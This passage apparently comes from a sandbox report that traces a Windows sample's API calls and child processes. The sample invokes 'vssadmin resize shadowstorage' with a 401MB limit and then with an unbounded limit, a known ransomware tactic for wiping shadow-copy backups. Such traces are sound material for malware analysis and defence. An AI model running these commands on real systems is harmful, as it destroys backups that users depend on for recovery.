	[0089.996] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0089.997] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.997] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0089.998] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0089.998] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0089.998] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x2f5f2a8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2f5f2f4 | out: lpCommandLine="vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=401MB", lpProcessInformation=0x2f5f2f4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x29c, dwThreadId=0xc70)) returned 1
	[0090.013] CloseHandle (hObject=0xdc) returned 1
	[0090.013] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0090.013] GetProcessHeap () returned 0x3250000
	[0090.013] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3256c48) returned 1
	[0090.013] GetEnvironmentStringsW () returned 0x3256c48*
	[0090.013] GetProcessHeap () returned 0x3250000
	[0090.013] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xb1a) returned 0x3254bc0
	[0090.013] FreeEnvironmentStringsA (penv="=") returned 1
	[0090.013] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0090.241] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x2f5f28c | out: lpExitCode=0x2f5f28c*=0x2) returned 1
	[0090.241] CloseHandle (hObject=0xe0) returned 1
	[0090.241] _vsnwprintf (in: _Buffer=0x2f5f374, _BufferCount=0x13, _Format="%08X", _ArgList=0x2f5f294 | out: _Buffer="00000002") returned 8
	[0090.241] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0090.242] GetProcessHeap () returned 0x3250000
	[0090.242] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3254bc0) returned 1
	[0090.242] GetEnvironmentStringsW () returned 0x3258170*
	[0090.242] GetProcessHeap () returned 0x3250000
	[0090.242] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xb40) returned 0x3254bc0
	[0090.243] FreeEnvironmentStringsA (penv="=") returned 1
	[0090.243] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0090.243] GetProcessHeap () returned 0x3250000
	[0090.243] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3254bc0) returned 1
	[0090.243] GetEnvironmentStringsW () returned 0x3258170*
	[0090.243] GetProcessHeap () returned 0x3250000
	[0090.243] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xb40) returned 0x3254bc0
	[0090.243] FreeEnvironmentStringsA (penv="=") returned 1
	[0090.243] GetProcessHeap () returned 0x3250000
	[0090.243] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3257ff0) returned 1
	[0090.243] DeleteProcThreadAttributeList (in: lpAttributeList=0x2f5f320 | out: lpAttributeList=0x2f5f320) 
	[0090.243] ??_V@YAXPAX@Z () returned 0x1
	[0090.243] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.243] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0090.286] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.286] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0090.293] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.293] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0090.299] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0090.299] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0090.311] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0090.311] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0090.331] SetConsoleInputExeNameW () returned 0x1
	[0090.331] GetConsoleOutputCP () returned 0x1b5
	[0090.342] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0090.342] SetThreadUILanguage (LangId=0x0) returned 0x2c70409
	[0090.343] exit (_Code=2) 
	[0090.343] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 119
	os_tid = 0xdd4


Process:
	id = "36"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x5bdb7000"
	os_pid = "0x4f8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "35"
	os_parent_pid = "0xfa4"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 116
	os_tid = 0x258


Thread:
	id = 117
	os_tid = 0x480


Thread:
	id = 118
	os_tid = 0xdc4


Process:
	id = "37"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1b84b000"
	os_pid = "0x29c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "35"
	os_parent_pid = "0xfa4"
	cmd_line = "vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 120
	os_tid = 0xc70


Thread:
	id = 121
	os_tid = 0xbcc


Thread:
	id = 122
	os_tid = 0x58


Thread:
	id = 123
	os_tid = 0xe7c


Thread:
	id = 124
	os_tid = 0x1264


Process:
	id = "38"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x7d00a000"
	os_pid = "0x378"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 125
	os_tid = 0x1154

	[0090.624] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0090.624] __set_app_type (_Type=0x1) 
	[0090.624] __p__fmode () returned 0x77803c14
	[0090.624] __p__commode () returned 0x778049ec
	[0090.624] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0090.625] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0090.625] _onexit (_Func=0xb88030) returned 0xb88030
	[0090.625] _onexit (_Func=0xb88040) returned 0xb88040
	[0090.625] _onexit (_Func=0xb88050) returned 0xb88050
	[0090.625] _onexit (_Func=0xb88060) returned 0xb88060
	[0090.625] _onexit (_Func=0xb88070) returned 0xb88070
	[0090.626] _onexit (_Func=0xb88080) returned 0xb88080
	[0090.626] GetCurrentThreadId () returned 0x1154
	[0090.626] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1154) returned 0xbc
	[0090.626] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0090.626] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0090.626] SetThreadUILanguage (LangId=0x0) returned 0x2c70409
	[0090.632] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0090.632] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xaaf910 | out: phkResult=0xaaf910*=0x0) returned 0x2
	[0090.632] VirtualQuery (in: lpAddress=0xaaf91b, lpBuffer=0xaaf8c8, dwLength=0x1c | out: lpBuffer=0xaaf8c8*(BaseAddress=0xaaf000, AllocationBase=0x9b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0090.632] VirtualQuery (in: lpAddress=0x9b0000, lpBuffer=0xaaf8c8, dwLength=0x1c | out: lpBuffer=0xaaf8c8*(BaseAddress=0x9b0000, AllocationBase=0x9b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0090.632] VirtualQuery (in: lpAddress=0x9b1000, lpBuffer=0xaaf8c8, dwLength=0x1c | out: lpBuffer=0xaaf8c8*(BaseAddress=0x9b1000, AllocationBase=0x9b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0090.632] VirtualQuery (in: lpAddress=0x9b3000, lpBuffer=0xaaf8c8, dwLength=0x1c | out: lpBuffer=0xaaf8c8*(BaseAddress=0x9b3000, AllocationBase=0x9b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0090.632] VirtualQuery (in: lpAddress=0xab0000, lpBuffer=0xaaf8c8, dwLength=0x1c | out: lpBuffer=0xaaf8c8*(BaseAddress=0xab0000, AllocationBase=0xab0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0090.632] GetConsoleOutputCP () returned 0x1b5
	[0090.635] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0090.635] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0090.635] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.635] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0090.637] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0090.637] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0090.638] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.638] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0090.639] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.639] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0090.640] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.640] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0090.720] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0090.720] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0090.722] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0090.722] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0090.726] GetEnvironmentStringsW () returned 0x2f84bd0*
	[0090.726] GetProcessHeap () returned 0x2f80000
	[0090.726] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xaca) returned 0x2f856a8
	[0090.726] FreeEnvironmentStringsA (penv="A") returned 1
	[0090.726] GetProcessHeap () returned 0x2f80000
	[0090.726] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x4) returned 0x2f846b0
	[0090.726] GetEnvironmentStringsW () returned 0x2f84bd0*
	[0090.726] GetProcessHeap () returned 0x2f80000
	[0090.726] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xaca) returned 0x2f86180
	[0090.726] FreeEnvironmentStringsA (penv="A") returned 1
	[0090.726] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xaae86c | out: phkResult=0xaae86c*=0xcc) returned 0x0
	[0090.726] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x0, lpData=0xaae878*=0xc5, lpcbData=0xaae870*=0x1000) returned 0x2
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x1, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x0, lpData=0xaae878*=0x1, lpcbData=0xaae870*=0x1000) returned 0x2
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x0, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x40, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x40, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x0, lpData=0xaae878*=0x40, lpcbData=0xaae870*=0x1000) returned 0x2
	[0090.727] RegCloseKey (hKey=0xcc) returned 0x0
	[0090.727] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xaae86c | out: phkResult=0xaae86c*=0xcc) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x0, lpData=0xaae878*=0x40, lpcbData=0xaae870*=0x1000) returned 0x2
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x1, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x0, lpData=0xaae878*=0x1, lpcbData=0xaae870*=0x1000) returned 0x2
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x0, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x9, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x4, lpData=0xaae878*=0x9, lpcbData=0xaae870*=0x4) returned 0x0
	[0090.727] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xaae874, lpData=0xaae878, lpcbData=0xaae870*=0x1000 | out: lpType=0xaae874*=0x0, lpData=0xaae878*=0x9, lpcbData=0xaae870*=0x1000) returned 0x2
	[0090.727] RegCloseKey (hKey=0xcc) returned 0x0
	[0090.727] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e73d
	[0090.727] srand (_Seed=0x5e40e73d) 
	[0090.727] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded"
	[0090.727] malloc (_Size=0x4000) returned 0x32f21f0
	[0090.728] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded"
	[0090.728] malloc (_Size=0xffce) returned 0x3180048
	[0090.728] ??_V@YAXPAX@Z () returned 0xaaf850
	[0090.729] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3180048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0090.729] malloc (_Size=0xffce) returned 0x3190020
	[0090.729] ??_V@YAXPAX@Z () returned 0xaaf624
	[0090.729] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3190020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0090.730] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0090.730] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0090.730] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0090.730] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0090.730] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0090.730] GetProcessHeap () returned 0x2f80000
	[0090.730] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f856a8) returned 1
	[0090.730] GetEnvironmentStringsW () returned 0x2f84bd0*
	[0090.730] GetProcessHeap () returned 0x2f80000
	[0090.730] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xae2) returned 0x2f87748
	[0090.730] FreeEnvironmentStringsA (penv="A") returned 1
	[0090.730] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0090.730] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0090.730] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0090.731] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0090.731] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0090.731] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0090.731] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0090.731] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0090.731] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0090.731] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0090.731] malloc (_Size=0xffce) returned 0x319fff8
	[0090.731] ??_V@YAXPAX@Z () returned 0xaaf3bc
	[0090.731] GetProcessHeap () returned 0x2f80000
	[0090.731] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x38) returned 0x2f80ae0
	[0090.731] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x319fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0090.732] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x319fff8, lpFilePart=0xaaf408 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xaaf408*="Desktop") returned 0x17
	[0090.732] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0090.732] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xaaf188 | out: lpFindFileData=0xaaf188*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2f80b20
	[0090.732] FindClose (in: hFindFile=0x2f80b20 | out: hFindFile=0x2f80b20) returned 1
	[0090.732] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xaaf188 | out: lpFindFileData=0xaaf188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2f80b20
	[0090.732] FindClose (in: hFindFile=0x2f80b20 | out: hFindFile=0x2f80b20) returned 1
	[0090.732] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xaaf188 | out: lpFindFileData=0xaaf188*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2f80b20
	[0090.733] FindClose (in: hFindFile=0x2f80b20 | out: hFindFile=0x2f80b20) returned 1
	[0090.733] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0090.733] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0090.733] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0090.733] GetProcessHeap () returned 0x2f80000
	[0090.733] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f87748) returned 1
	[0090.734] GetEnvironmentStringsW () returned 0x2f84bd0*
	[0090.734] GetProcessHeap () returned 0x2f80000
	[0090.734] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xb1a) returned 0x2f86c58
	[0090.734] FreeEnvironmentStringsA (penv="=") returned 1
	[0090.734] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3180048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0090.734] GetProcessHeap () returned 0x2f80000
	[0090.734] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f80ae0) returned 1
	[0090.734] ??_V@YAXPAX@Z () returned 0x1
	[0090.734] ??_V@YAXPAX@Z () returned 0x1
	[0090.734] GetProcessHeap () returned 0x2f80000
	[0090.734] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x400e) returned 0x2f88d60
	[0090.734] GetProcessHeap () returned 0x2f80000
	[0090.734] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x8c) returned 0x2f87780
	[0090.734] GetProcessHeap () returned 0x2f80000
	[0090.734] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f88d60) returned 1
	[0090.734] GetConsoleOutputCP () returned 0x1b5
	[0090.739] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0090.739] GetUserDefaultLCID () returned 0x409
	[0090.739] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0090.739] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xaaf778, cchData=128 | out: lpLCData="0") returned 2
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xaaf778, cchData=128 | out: lpLCData="0") returned 2
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xaaf778, cchData=128 | out: lpLCData="1") returned 2
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
